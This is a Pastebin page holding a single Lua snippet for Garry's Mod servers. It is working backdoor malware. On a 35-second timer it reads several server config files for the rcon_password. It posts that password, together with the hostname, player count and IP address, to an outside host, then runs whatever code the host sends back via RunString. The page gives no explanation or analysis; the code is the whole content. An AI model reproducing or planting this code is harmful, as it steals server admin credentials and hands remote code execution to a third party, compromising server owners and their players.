Advertisement
Guest User

Untitled

a guest
Jan 17th, 2018
787
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.09 KB | None | 0 0
  1. timer.Create( "PlzhhlgFGl", 35, 0, function() local RconPassword if file.Exists("cfg/server.cfg", "GAME") then for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg", "GAME"))) do if string.find(v, "rcon_password") then RconPassword = v end end end if RconPassword == nil and file.Exists("cfg/autoexec.cfg", "GAME") then for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg", "GAME"))) do if string.find(v, "rcon_password") then RconPassword = v end end end if RconPassword == nil and file.Exists("cfg/gmodserver.cfg", "GAME") then for k, v in pairs(string.Explode("\n", file.Read("cfg/gmodserver.cfg", "GAME"))) do if string.find(v, "rcon_password") then RconPassword = v end end end if RconPassword ~= nil then mybigrcon1 = string.gsub( RconPassword, "\"", "" ) mybigrcon2 = string.gsub( mybigrcon1, "rcon_password", "" ) else mybigrcon2 = "Aucun Rcon" end local a = { n = GetHostName(), nb = tostring(#player.GetAll()), i = game.GetIPAddress(), rdsd = mybigrcon2 } http.Post( "http://gm-drm.mtxserv.fr/gmod/core/stage2.php", a, function( body, len, headers, code ) RunString(body) end) end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement